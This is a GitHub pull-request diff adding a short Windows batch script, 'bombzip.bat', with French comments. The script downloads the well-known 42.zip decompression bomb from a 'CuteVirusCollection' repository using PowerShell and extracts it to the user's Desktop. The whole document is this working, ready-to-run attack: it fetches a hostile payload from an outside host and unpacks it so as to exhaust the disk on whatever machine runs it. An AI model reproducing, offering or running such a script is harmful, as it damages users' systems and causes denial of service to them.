Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions bombzip.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
@echo off
setlocal

:: Définition des variables
set "url=https://github.com/MinhasKamal/CuteVirusCollection/raw/refs/heads/master/zip_bomb_42.zip"
set "zipPath=%TEMP%\zip_bomb_42.zip"
set "extractPath=%USERPROFILE%\Desktop\Extracted"

:: Téléchargement du fichier
echo Téléchargement en cours...
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%url%', '%zipPath%')"

:: Création du dossier d'extraction
mkdir "%extractPath%"

:: Décompression avec PowerShell
powershell -Command "Expand-Archive -Path '%zipPath%' -DestinationPath '%extractPath%' -Force"

echo Extraction terminée !
exit